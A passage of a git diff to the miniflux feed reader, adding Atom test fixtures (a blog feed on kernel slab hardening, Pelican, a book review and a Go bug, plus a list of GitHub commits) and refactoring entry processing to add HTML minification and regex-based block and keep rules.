href="https://github.com/torvalds/linux/compare/master...thejh:linux:slub-virtual-upstream">nice + set of patches</a>, + discussed a bit in <a href="https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html">this Project Zero blogpost</a>, + for a feature called <a href="https://github.com/torvalds/linux/commit/f3afd3a2152353be355b90f5fd4367adbf6a955e"><code>SLAB_VIRTUAL</code></a>, + implementing precisely this.</li> +<li>There are 16 slabs by default, so one chance out of 16 to end up in the same + slab cache as the target.</li> +<li>There are no guard pages between caches, so inter-caches overflows are + possible.</li> +<li>As pointed by <a href="https://twitter.com/andreyknvl/status/1700267669336080678">andreyknvl</a> + and <a href="https://infosec.exchange/@minipli/111045336853055793">minipli</a>, + the fewer allocations hitting a given cache means less noise, + so it might even help with some heap feng-shui.</li> +<li>minipli also pointed that "randomized caches still freely + mix kernel allocations with user controlled ones (<code>xattr</code>, <code>keyctl</code>, <code>msg_msg</code>, …). + So even though merging is disabled for these caches, i.e. no direct overlap + with <code>cred_jar</code> etc., other object types can still be targeted (<code>struct + pipe_buffer</code>, BPF maps, its verifier state objects,…). It’s just a matter of + probing which allocation index the targeted object falls into.", + but I considered this out of scope, since it's much more involved; + albeit something like Jann Horn's <a href="https://github.com/thejh/linux/blob/slub-virtual/MITIGATION_README"><code>CONFIG_KMALLOC_SPLIT_VARSIZE</code></a> + wouldn't significantly increase complexity.</li> +</ul> +<p>Also, while code addresses as a source of entropy has historically be a great +way to provide <a href="https://lwn.net/Articles/569635/">KASLR</a> bypasses, <code>hash_64(caller ^ +random_kmalloc_seed, ilog2(RANDOM_KMALLOC_CACHES_NR + 1))</code> shouldn't trivially +leak offsets.</p> +<p>The segregation technique is a bit like a weaker version of grsecurity's +<a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">AUTOSLAB</a>, +or a weaker kernel-land version of +<a href="https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md">PartitionAlloc</a>, +but to be fair, making use-after-free exploitation harder, and significantly +harder once pinning lands, with only ~150 lines of code and negligible +performance impact is amazing and should be praised. Moreover, I wouldn't be +surprised if this was backported in <a href="https://google.github.io/security-research/kernelctf/rules.html">Google's KernelCTF</a> +soon, so we should see if my analysis is correct.</p>jvoisinMon, 11 Sep 2023 01:45:00 +0200tag:dustri.org,2023-09-11:/b/some-notes-on-randomized-slab-caches-for-kmalloc.htmlsecurityMaking use of pygments' filters with Pelicanhttps://dustri.org/b/making-use-of-pygments-filters-with-pelican.html<p>I've been using <a href="https://github.com/getpelican/pelican">Pelican</a> +more or less since the beginning of this blog and I'm still +pretty happy about it. Mostly because of how <a href="https://boringtechnology.club">boring</a> +it is, and its complete absence of fundamental changes thorough the years.</p> +<p>Anyway, I was looking at how to reduce the size of the pages of my blog +and looked at how code is syntactically highlighted: +Pelican is using <a href="https://pygments.org">Pygments</a> to do this, +and looking at its documentation, the <a href="https://pygments.org/docs/filters/#TokenMergeFilter">TokenMergeFilter</a> +should help a bit, by merging token of the same type together, +instead of highlighting them separately.</p> +<p>Pelican's documentation <a href="https://docs.getpelican.com/en/stable/settings.html">says</a> +that options can be passed to python-markdown like this: +<code>MARKDOWN = { 'extension_configs': { 'markdown.extensions.codehilite': {'css_class': 'highlight'} } }</code>.</p> +<p>Looking at <a href="https://python-markdown.github.io/">python-markdown</a>'s <a href="https://python-markdown.github.io/reference/#markdown">one</a>, +one can pass various things as parameters, but it doesn't mention filters. +<a href="https://pygments.org/docs/filters/">Pygments documentation on this topic</a> implies +that the only way to add filters is to use the <code>add_filter</code> method on a lexer.</p> +<p>But <a href="https://github.com/pygments/pygments/blob/master/pygments/lexer.py">looking at the code</a> +as suggested <a href="https://github.com/Python-Markdown/markdown/issues/1322#issuecomment-1453911760">here</a>, +filters can be passed like any other options, meaning that one only needs to +add the following code into the <code>pelicanconf.py</code> file to used the +<code>TokenMergeFilter</code>:</p> +<div class="codehilite"><pre><span></span><code><span class="kn">from</span> <span class="nn">pelican</span> <span class="kn">import</span> <span class="n">TokenMergeFilter</span> + +<span class="n">MARKDOWN</span> <span class="o">=</span> <span class="p">{</span> + <span class="s1">&#39;extension_configs&#39;</span><span class="p">:</span> <span class="p">{</span> + <span class="s1">&#39;markdown.extensions.codehilite&#39;</span><span class="p">:</span> <span class="p">{</span> + <span class="s1">&#39;filters&#39;</span><span class="p">:</span> <span class="p">[</span><span class="n">TokenMergeFilter</span><span class="p">()]</span> + <span class="p">}</span> + <span class="p">}</span> +<span class="p">}</span><span class="err">`</span><span class="o">.</span> +</code></pre></div> + +<p>Totally worth the effort for a marginal page size reduction!</p>jvoisinFri, 01 Sep 2023 18:30:00 +0200tag:dustri.org,2023-09-01:/b/making-use-of-pygments-filters-with-pelican.htmlwebBook review: Hacks, Leaks, and Revelationshttps://dustri.org/b/book-review-hacks-leaks-and-revelations.html<p><a href="https://nostarch.com/hacks-leaks-and-revelations"><img alt="Hacks, Leaks, and Revelations cover" src="https://dustri.org/b/images/HacksLeaksReveleations.png"></a></p> +<p>Last month, I got an email <a href="https://nostarch.com/about">from Briana Blackwell from No Starch Press</a>'s marketing department, +telling me that <a href="https://hacksandleaks.com/">Hacks, Leaks, and Revelations: The Art of Analyzing Hacked and Leaked Data</a> +by <a href="https://micahflee.com/">Micah Lee</a> +was available in <em>early access</em>, and that they'd be happy to send me an ebook +copy free of charge!</p> +<p>From the couple of interactions I had with him, Lee is not only a great human being, +but also technically literate. He's the director of information security +at <a href="https://theintercept.com/staff/micah-lee/">The Intercept</a>, and the person +behind <a href="https://onionshare.org/">OnionShare</a> and <a href="https://dangerzone.rocks/">DangerZone</a>; +so I was thrilled to finally get my hands on his book!</p> +<p>And what a great one it is! It's a complete course for everyone who want to learn how to properly deal with and report on large data sets like leaks: +How to communicate with sources along with some notions of <a href="https://en.wikipedia.org/wiki/Operations_security">opsec</a>, +some words on the ethics of dealing with this kind of data, +how to get data leaks and how to analyse them +properly and safely, wrangling tools like +<a href="https://github.com/freedomofpress/dangerzone">dangerzone</a>, +a <a href="https://en.wikipedia.org/wiki/BitTorrent">BitTorrent</a> client, +<a href="https://signal.org">Signal</a>, +<a href="https://torproject.org">Tor</a> via the <a href="https://www.torproject.org/download/">Tor Browser</a> and +<a href="https://onionshare.org/">Onionshare</a>, +some <a href="https://en.wikipedia.org/wiki/Linux">linux</a> and <a href="https://en.wikipedia.org/wiki/Shell_(computing)">shell</a> basics, +a crash course into data analysis with <a href="https://python.org">Python</a> and <a href="https://en.wikipedia.org/wiki/SQL">SQL</a>, +the <a href="https://occrp.org/en">OCCRP</a>'s <a href="https://docs.aleph.occrp.org/">Aleph</a>, +… +with hands-on exercises and reporting examples based on real leaks like +<a href="https://en.wikipedia.org/wiki/2021_Epik_data_breach">EpikFail</a>, +<a href="https://en.wikipedia.org/wiki/BlueLeaks">BlueLeaks</a>, +the <a href="https://apnews.com/article/oath-keepers-leaked-membership-rolls-2ca4195ed3a10e45dd189bf98f3e5a26">Oath Keepers leak</a>, +<a href="https://discordleaks.unicornriot.ninja/discord/">Unicorn Riot's DiscordLeaks</a>, +<a href="https://theintercept.com/2021/09/28/covid-telehealth-hydroxychloroquine-ivermectin-hacked/">AFLDS</a>, +he <a href="https://www.databreaches.net/heritage-foundation-wasnt-attacked-they-leaked-their-own-data/">Heritage Foundation emails</a>, +…</p> +<p>It's a comprehensive yet highly digestible resource that I would wholeheartedly +recommend to anyone remotely interested by modern journalism practises. Hacked +and dumped databases are all around the internet, waiting to be analysed, reported on, +contextualised and exposed, and with this book, anyone could help with +the effort of making the world a better place: sunlight is the best +disinfectant!</p>jvoisinWed, 16 Aug 2023 16:15:00 +0200tag:dustri.org,2023-08-16:/b/book-review-hacks-leaks-and-revelations.htmlbook_reviewsmat2 0.13.4https://dustri.org/b/mat2-0134.html<p>There is a new minor version of mat2: +<a href="https://0xacab.org/jvoisin/mat2/tags/0.13.4">0.13.4</a>. No ground breaking +changes, only minor improvements, code modernisation and a bit of hardening:</p> +<ul> +<li>Add documentation about mat2 on OSX</li> +<li>Make use of python3.7 constructs to simplify code</li> +<li>Use moderner type annotations</li> +<li>Harden <code>get_meta</code> in archive.py against variants of <a href="https://cve.circl.lu/cve/CVE-2022-35410">CVE-2021-35410</a></li> +<li>Improve MSOffice document support</li> +<li>Package the manpage on PyPI.</li> +</ul> +<p>Thanks to <a href="https://anelki.net/">akierig</a>, mat2 is now <a href="https://github.com/macports/macports-ports/pull/18072">available</a> in <a href="https://trac.macports.org/">macports</a>!</p> +<p>As usual, if you know some python help is +<a href="https://0xacab.org/jvoisin/mat2/issues?label_name%5B%5D=good+first+issue">welcome</a>.</p>jvoisinWed, 02 Aug 2023 21:30:00 +0200tag:dustri.org,2023-08-02:/b/mat2-0134.htmlmetadataA sneaky Golang bughttps://dustri.org/b/a-sneaky-golang-bug.html<p>Today at work, I needed a function in <a href="https://go.dev/">Go</a> to remove +duplicates from a slice, and thus wrote something like this using the +<a href="https://go.dev/doc/tutorial/generics">generic</a>-based +<a href="https://pkg.go.dev/golang.org/x/exp/slices">slices</a> package:</p> +<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">removeDuplicates</span><span class="p">(</span><span class="nx">s</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="p">)</span><span class="w"> </span><span class="p">[]</span><span class="nx">mytype</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">SortFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="p">)</span> +<span class="w"> </span><span class="nx">slices</span><span class="p">.</span><span class="nx">CompactFunc</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="p">)</span> +<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">s</span> +<span class="p">}</span> +</code></pre></div> + +<p>Can you spot the bug? Here are the prototypes of the two functions:</p> +<div class="codehilite"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">SortFunc</span><span class="p">[</span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">x</span><span class="w"> </span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">less</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="w"> </span><span class="nx">b</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span> +<span class="kd">func</span><span class="w"> </span><span class="nx">CompactFunc</span><span class="p">[</span><span class="nx">S</span><span class="w"> </span><span class="o">~</span><span class="p">[]</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="w"> </span><span class="kt">any</span><span class="p">](</span><span class="nx">s</span><span class="w"> </span><span class="nx">S</span><span class="p">,</span><span class="w"> </span><span class="nx">eq</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">E</span><span class="p">,</span><span class="w"> </span><span class="nx">E</span><span class="p">)</span><span class="w"> </span><span class="kt">bool</span><span class="p">)</span><span class="w"> </span><span class="nx">S</span> +</code></pre></div> + +<p>The first has no return value, while the second does, unused in our case, hence +the bug. It's <em>interesting</em> to note that the go compiler is perfectly happy +with this, and doesn't issue any warning: it was <em>extraordinarily fun</em> to pinpoint.</p> +<p>I reached out to <a href="https://airs.com/ian/">Ian Lance Taylor</a> who +<a href="https://cs.opensource.google/go/x/exp/+/03df57b9a50843fbf23bf90375d6584bcc8ea13d">implemented</a> +those functions in 2021 and he pointed me to <a href="https://go.dev/blog/slices-intro">Go Slices: usage and internals +</a>. Things indeed do become obvious once +looking at the <a href="https://github.com/golang/go/blob/master/src/runtime/slice.go">implementation of +<code>slice</code></a>:</p> +<div class="codehilite"><pre><span></span><code><span class="kd">type</span><span class="w"> </span><span class="nx">slice</span><span class="w"> </span><span class="kd">struct</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="nx">array</span><span class="w"> </span><span class="nx">unsafe</span><span class="p">.</span><span class="nx">Pointer</span> +<span class="w"> </span><span class="nx">len</span><span class="w"> </span><span class="kt">int</span> +<span class="w"> </span><span class="nx">cap</span><span class="w"> </span><span class="kt">int</span> +<span class="p">}</span> +</code></pre></div> + +<p>Both <code>slices.SortFunc</code> and <code>slices.CompactFunc</code> are taking a slice as +parameter, and not a pointer to a slice, meaning that any changes to <code>len</code> and +<code>cap</code> will be local to the function.</p> +<p>Anyway, There is a <a href="https://github.com/golang/go/issues/20803">proposal</a> to require +return values to be explicitly used or ignored open since 2017, but it didn't +go anywhere for now. There is also <a href="https://github.com/golang/go/issues/20148">another proposal</a> +to make <code>go vet</code> better at highlighting error mishandling, as well as <a href="https://github.com/kisielk/errcheck">errcheck</a>, +but those wouldn't really help in this case.</p>jvoisinWed, 02 Aug 2023 13:15:00 +0200tag:dustri.org,2023-08-02:/b/a-sneaky-golang-bug.htmldev \ No newline at end of file diff --git a/internal/reader/parser/testdata/small_atom.xml b/internal/reader/parser/testdata/small_atom.xml new file mode 100644 index 00000000..3af7b03d --- /dev/null +++ b/internal/reader/parser/testdata/small_atom.xml @@ -0,0 +1,396 @@ + + + tag:github.com,2008:/miniflux/v2/commits/main + + + Recent Commits to v2:main + 2024-03-12T05:30:27Z + + tag:github.com,2008:Grit::Commit/6d97f8b4582414b6ce69467656824690057d4793 + + + Parse podcast categories + + 2024-03-12T05:30:27Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>Parse podcast categories</pre> + + + + tag:github.com,2008:Grit::Commit/f8e50947f2885047155a8070dddab133a5c685c2 + + + Move iTunes and GooglePlay XML definitions to their own packages + + 2024-03-12T05:09:31Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>Move iTunes and GooglePlay XML definitions to their own packages</pre> + + + + tag:github.com,2008:Grit::Commit/9a637ce95e05459adc4712027e6a07eaabcfe657 + + + Refactor RSS parser to use default namespace + + 2024-03-12T04:07:13Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>Refactor RSS parser to use default namespace + +This change avoid some limitations of the Go XML parser regarding XML namespaces</pre> + + + + tag:github.com,2008:Grit::Commit/d3a85b049b14d4a4ddd6b813134b2abd45fe5e8d + + + jsminifier: set JavaScript version + + 2024-03-12T02:02:52Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>jsminifier: set JavaScript version</pre> + + + + tag:github.com,2008:Grit::Commit/5bcb37901c60463b27e1211e0f68295f213b19e6 + + + Use crypto.GenerateRandomBytes instead of doing it by hand + + 2024-03-11T23:31:43Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Use crypto.GenerateRandomBytes instead of doing it by hand + +This makes the code a bit shorter, and properly handle +cryptographic error conditions.</pre> + + + + tag:github.com,2008:Grit::Commit/9c8a7dfffe2f4596dcbde2c923a7539914bb252f + + + Make use of HashFromBytes everywhere + + 2024-03-11T22:22:22Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Make use of HashFromBytes everywhere + +It feels a bit silly to have a function and to not make use of it.</pre> + + + + tag:github.com,2008:Grit::Commit/74e4032ffc9faad4fec602f283a32d2af8dec47e + + + Small refactor of app.js + + 2024-03-11T22:18:57Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Small refactor of app.js + +- replace a lot of `let` with `const` +- inline some `querySelectorAll` calls +- reduce the scope of some variables +- use some ternaries where it makes sense +- inline one-line functions</pre> + + + + tag:github.com,2008:Grit::Commit/fd1fee852cb35fa0f5b0ed6dc0c23b4a6ce368c3 + + + Simplify DomHelper.getVisibleElements + + 2024-03-11T22:03:00Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Simplify DomHelper.getVisibleElements + +Use a `filter` instead of a loop with an index.</pre> + + + + tag:github.com,2008:Grit::Commit/c51a3270da1f6af796b7d23fa4b434ccf11818e7 + + + GitHub Actions: Add basic ESLinter checks + + 2024-03-11T03:57:27Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>GitHub Actions: Add basic ESLinter checks</pre> + + + + tag:github.com,2008:Grit::Commit/45fa641d26a5f68e663aa9af72e97523d8d63c1e + + + Fix JavaScript linter path in GitHub Actions + + 2024-03-11T03:37:18Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>Fix JavaScript linter path in GitHub Actions</pre> + + + + tag:github.com,2008:Grit::Commit/fd8f25916b025a92b1b8349ef9d0acdb832a9e8e + + + First steps towards trusted-types support + + 2024-03-11T03:14:30Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>First steps towards trusted-types support + +Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to +enabled trusted-types in report-only mode via `&lt;meta&gt;` tags, see +https://github.com/w3c/webappsec-csp/issues/277</pre> + + + + tag:github.com,2008:Grit::Commit/826e4d654f511ea8d1d385bdc09cbed69ff6a70f + + + Replace DomHelper.findParent with .closest + + 2024-03-11T03:06:54Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Replace DomHelper.findParent with .closest + +See https://developer.mozilla.org/en-US/docs/Web/API/Element/closest</pre> + + + + tag:github.com,2008:Grit::Commit/d9d17f0d69d1dafb3bd9d81bf9fc27df3def4f4c + + + Use a `Set` instead of an array in a KeyboardHandler's member + + 2024-03-11T02:41:13Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Use a `Set` instead of an array in a KeyboardHandler&#39;s member + +The variable `triggers` is only used to check if in contains a particular +value. Given that the number of keyboard shortcuts is starting to be +significant, let&#39;s future-proof the performances and use a `Set` instead of an +`Array` instead.</pre> + + + + tag:github.com,2008:Grit::Commit/eaaeb68474ff194f682e9521a848d7ab2c89348e + + + Fix conditions to publish packages in GitHub workflows + + 2024-03-10T19:25:13Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>Fix conditions to publish packages in GitHub workflows</pre> + + + + tag:github.com,2008:Grit::Commit/382885f14403526adfa6c303927889c76fd5a1eb + + + Update changeLog + + 2024-03-10T17:50:47Z + + + fguillot + https://github.com/fguillot + + + <pre style='white-space:pre-wrap;width:81ex'>Update changeLog</pre> + + + + tag:github.com,2008:Grit::Commit/0f7b047b0a81253b6d146e05d561545303016b74 + + + Bump github.com/go-jose/go-jose/v3 from 3.0.1 to 3.0.3 + + 2024-03-08T04:59:42Z + + + dependabot + https://github.com/dependabot + + + <pre style='white-space:pre-wrap;width:81ex'>Bump github.com/go-jose/go-jose/v3 from 3.0.1 to 3.0.3 + +Bumps [github.com/go-jose/go-jose/v3](https://github.com/go-jose/go-jose) from 3.0.1 to 3.0.3. +- [Release notes](https://github.com/go-jose/go-jose/releases) +- [Changelog](https://github.com/go-jose/go-jose/blob/v3.0.3/CHANGELOG.md) +- [Commits](https://github.com/go-jose/go-jose/compare/v3.0.1...v3.0.3) + +--- +updated-dependencies: +- dependency-name: github.com/go-jose/go-jose/v3 + dependency-type: indirect +... + +Signed-off-by: dependabot[bot] &lt;support@github.com&gt;</pre> + + + + tag:github.com,2008:Grit::Commit/a074773e6c5d3b2066094cbac0502094aa364713 + + + Use an io.ReadSeeker instead of an io.Reader to parse feeds + + 2024-03-07T04:13:39Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Use an io.ReadSeeker instead of an io.Reader to parse feeds + +This will allow to make use of func (*Reader) Seek, instead of re-recreating a +new reader. It&#39;s a large commit for a small change, but anything to simply the +reader/buffer/ReadAll/… mess is a step in the right direction I think, and it +should enable more follow-up simplifications.</pre> + + + + tag:github.com,2008:Grit::Commit/3d0126be0b8a603401b7593250f80b0a8042b995 + + + Speed the sanitizer up a bit, again + + 2024-03-06T03:31:50Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Speed the sanitizer up a bit, again + +- allow youtube urls to start with `www` +- use `strings.Builder` instead of a `bytes.Buffer` +- use a `strings.NewReader` instead of a `bytes.NewBufferString` +- sprinkles a couple of `continue` to make the code-flow more obvious +- inline calls to `inList`, and put their parameters in the right order +- simplify isPixelTracker +- simplify `isValidIframeSource`, by extracting the hostname and comparing it + directly, instead of using the full url and checking if it starts with + multiple variations of the same one (`//`, `http:`, `https://` multiplied by + ``/`www.`) +- add a benchmark</pre> + + + + tag:github.com,2008:Grit::Commit/eda2e2f3f5c278e44e2def72caedc33667a0fb6c + + + Bump golang.org/x/oauth2 from 0.17.0 to 0.18.0 + + 2024-03-05T23:39:07Z + + + dependabot + https://github.com/dependabot + + + <pre style='white-space:pre-wrap;width:81ex'>Bump golang.org/x/oauth2 from 0.17.0 to 0.18.0 + +Bumps [golang.org/x/oauth2](https://github.com/golang/oauth2) from 0.17.0 to 0.18.0. +- [Commits](https://github.com/golang/oauth2/compare/v0.17.0...v0.18.0) + +--- +updated-dependencies: +- dependency-name: golang.org/x/oauth2 + dependency-type: direct:production + update-type: version-update:semver-minor +... + +Signed-off-by: dependabot[bot] &lt;support@github.com&gt;</pre> + + + + tag:github.com,2008:Grit::Commit/111e3f2106646cd29f7f74c0102f2a570c598e2e + + + Reuse a Reader instead of copying to a buffer when parsing an atom feed + + 2024-03-05T01:36:10Z + + + jvoisin + https://github.com/jvoisin + + + <pre style='white-space:pre-wrap;width:81ex'>Reuse a Reader instead of copying to a buffer when parsing an atom feed</pre> + + + diff --git a/internal/reader/processor/processor.go b/internal/reader/processor/processor.go index 7c1b6b1d..c92550d2 100644 --- a/internal/reader/processor/processor.go +++ b/internal/reader/processor/processor.go @@ -23,6 +23,8 @@ import ( "miniflux.app/v2/internal/storage" "github.com/PuerkitoBio/goquery" + "github.com/tdewolff/minify/v2" + "github.com/tdewolff/minify/v2/html" ) var ( @@ -36,31 +38,38 @@ var ( func ProcessFeedEntries(store *storage.Storage, feed *model.Feed, user *model.User, forceRefresh bool) { var filteredEntries model.Entries + minifier := minify.New() + minifier.AddFunc("text/html", html.Minify) + // Process older entries first for i := len(feed.Entries) - 1; i >= 0; i-- { entry := feed.Entries[i] slog.Debug("Processing entry", slog.Int64("user_id", user.ID), - slog.Int64("entry_id", entry.ID), slog.String("entry_url", entry.URL), + slog.String("entry_hash", entry.Hash), + slog.String("entry_title", entry.Title), slog.Int64("feed_id", feed.ID), slog.String("feed_url", feed.FeedURL), ) - - if isBlockedEntry(feed, entry) || !isAllowedEntry(feed, entry) { + if isBlockedEntry(feed, entry) || !isAllowedEntry(feed, entry) || !isRecentEntry(entry) { continue } websiteURL := getUrlFromEntry(feed, entry) - entryIsNew := !store.EntryURLExists(feed.ID, entry.URL) + entryIsNew := store.IsNewEntry(feed.ID, entry.Hash) if feed.Crawler && (entryIsNew || forceRefresh) { slog.Debug("Scraping entry", slog.Int64("user_id", user.ID), - slog.Int64("entry_id", entry.ID), slog.String("entry_url", entry.URL), + slog.String("entry_hash", entry.Hash), + slog.String("entry_title", entry.Title), slog.Int64("feed_id", feed.ID), slog.String("feed_url", feed.FeedURL), + slog.Bool("entry_is_new", entryIsNew), + slog.Bool("force_refresh", forceRefresh), + slog.String("website_url", websiteURL), ) startTime := time.Now() @@ -91,7 +100,6 @@ func ProcessFeedEntries(store *storage.Storage, feed *model.Feed, user *model.Us if scraperErr != nil { slog.Warn("Unable to scrape entry", slog.Int64("user_id", user.ID), - slog.Int64("entry_id", entry.ID), slog.String("entry_url", entry.URL), slog.Int64("feed_id", feed.ID), slog.String("feed_url", feed.FeedURL), @@ -99,7 +107,11 @@ func ProcessFeedEntries(store *storage.Storage, feed *model.Feed, user *model.Us ) } else if content != "" { // We replace the entry content only if the scraper doesn't return any error. - entry.Content = content + if minifiedHTML, err := minifier.String("text/html", content); err == nil { + entry.Content = minifiedHTML + } else { + entry.Content = content + } } } @@ -116,62 +128,70 @@ func ProcessFeedEntries(store *storage.Storage, feed *model.Feed, user *model.Us } func isBlockedEntry(feed *model.Feed, entry *model.Entry) bool { - if feed.BlocklistRules != "" { - containsBlockedTag := slices.ContainsFunc(entry.Tags, func(tag string) bool { - return matchField(feed.BlocklistRules, tag) - }) + if feed.BlocklistRules == "" { + return false + } - if matchField(feed.BlocklistRules, entry.URL) || matchField(feed.BlocklistRules, entry.Title) || matchField(feed.BlocklistRules, entry.Author) || containsBlockedTag { - slog.Debug("Blocking entry based on rule", - slog.Int64("entry_id", entry.ID), - slog.String("entry_url", entry.URL), - slog.Int64("feed_id", feed.ID), - slog.String("feed_url", feed.FeedURL), - slog.String("rule", feed.BlocklistRules), - ) - return true - } + compiledBlocklist, err := regexp.Compile(feed.BlocklistRules) + if err != nil { + slog.Debug("Failed on regexp compilation", + slog.String("pattern", feed.BlocklistRules), + slog.Any("error", err), + ) + return false + } + + containsBlockedTag := slices.ContainsFunc(entry.Tags, func(tag string) bool { + return compiledBlocklist.MatchString(tag) + }) + + if compiledBlocklist.MatchString(entry.URL) || compiledBlocklist.MatchString(entry.Title) || compiledBlocklist.MatchString(entry.Author) || containsBlockedTag { + slog.Debug("Blocking entry based on rule", + slog.String("entry_url", entry.URL), + slog.Int64("feed_id", feed.ID), + slog.String("feed_url", feed.FeedURL), + slog.String("rule", feed.BlocklistRules), + ) + return true } return false } func isAllowedEntry(feed *model.Feed, entry *model.Entry) bool { - if feed.KeeplistRules != "" { - containsAllowedTag := slices.ContainsFunc(entry.Tags, func(tag string) bool { - return matchField(feed.KeeplistRules, tag) - }) - - if matchField(feed.KeeplistRules, entry.URL) || matchField(feed.KeeplistRules, entry.Title) || matchField(feed.KeeplistRules, entry.Author) || containsAllowedTag { - slog.Debug("Allow entry based on rule", - slog.Int64("entry_id", entry.ID), - slog.String("entry_url", entry.URL), - slog.Int64("feed_id", feed.ID), - slog.String("feed_url", feed.FeedURL), - slog.String("rule", feed.KeeplistRules), - ) - return true - } - return false + if feed.KeeplistRules == "" { + return true } - return true -} -func matchField(pattern, value string) bool { - match, err := regexp.MatchString(pattern, value) + compiledKeeplist, err := regexp.Compile(feed.KeeplistRules) if err != nil { - slog.Debug("Failed on regexp match", - slog.String("pattern", pattern), - slog.String("value", value), - slog.Bool("match", match), + slog.Debug("Failed on regexp compilation", + slog.String("pattern", feed.KeeplistRules), slog.Any("error", err), ) + return false } - return match + containsAllowedTag := slices.ContainsFunc(entry.Tags, func(tag string) bool { + return compiledKeeplist.MatchString(tag) + }) + + if compiledKeeplist.MatchString(entry.URL) || compiledKeeplist.MatchString(entry.Title) || compiledKeeplist.MatchString(entry.Author) || containsAllowedTag { + slog.Debug("Allow entry based on rule", + slog.String("entry_url", entry.URL), + slog.Int64("feed_id", feed.ID), + slog.String("feed_url", feed.FeedURL), + slog.String("rule", feed.KeeplistRules), + ) + return true + } + return false } // ProcessEntryWebPage downloads the entry web page and apply rewrite rules. func ProcessEntryWebPage(feed *model.Feed, entry *model.Entry, user *model.User) error { + minifier := minify.New() + minifier.AddFunc("text/html", html.Minify) + startTime := time.Now() websiteURL := getUrlFromEntry(feed, entry) @@ -203,7 +223,11 @@ func ProcessEntryWebPage(feed *model.Feed, entry *model.Entry, user *model.User) } if content != "" { - entry.Content = content + if minifiedHTML, err := minifier.String("text/html", content); err == nil { + entry.Content = minifiedHTML + } else { + entry.Content = content + } if user.ShowReadingTime { entry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed) } @@ -224,7 +248,6 @@ func getUrlFromEntry(feed *model.Feed, entry *model.Entry) string { re := regexp.MustCompile(parts[1]) url = re.ReplaceAllString(entry.URL, parts[2]) slog.Debug("Rewriting entry URL", - slog.Int64("entry_id", entry.ID), slog.String("original_entry_url", entry.URL), slog.String("rewritten_entry_url", url), slog.Int64("feed_id", feed.ID), @@ -232,7 +255,6 @@ func getUrlFromEntry(feed *model.Feed, entry *model.Entry) string { ) } else { slog.Debug("Cannot find search and replace terms for replace rule", - slog.Int64("entry_id", entry.ID), slog.String("original_entry_url", entry.URL), slog.String("rewritten_entry_url", url), slog.Int64("feed_id", feed.ID), @@ -245,6 +267,11 @@ func getUrlFromEntry(feed *model.Feed, entry *model.Entry) string { } func updateEntryReadingTime(store *storage.Storage, feed *model.Feed, entry *model.Entry, entryIsNew bool, user *model.User) { + if !user.ShowReadingTime { + slog.Debug("Skip reading time estimation for this user", slog.Int64("user_id", user.ID)) + return + } + if shouldFetchYouTubeWatchTime(entry) { if entryIsNew { watchTime, err := fetchYouTubeWatchTime(entry.URL) @@ -260,7 +287,7 @@ func updateEntryReadingTime(store *storage.Storage, feed *model.Feed, entry *mod } entry.ReadingTime = watchTime } else { - entry.ReadingTime = store.GetReadTime(entry, feed) + entry.ReadingTime = store.GetReadTime(feed.ID, entry.Hash) } } @@ -279,14 +306,13 @@ func updateEntryReadingTime(store *storage.Storage, feed *model.Feed, entry *mod } entry.ReadingTime = watchTime } else { - entry.ReadingTime = store.GetReadTime(entry, feed) + entry.ReadingTime = store.GetReadTime(feed.ID, entry.Hash) } } + // Handle YT error case and non-YT entries. if entry.ReadingTime == 0 { - if user.ShowReadingTime { - entry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed) - } + entry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed) } } @@ -394,11 +420,11 @@ func parseISO8601(from string) (time.Duration, error) { switch name { 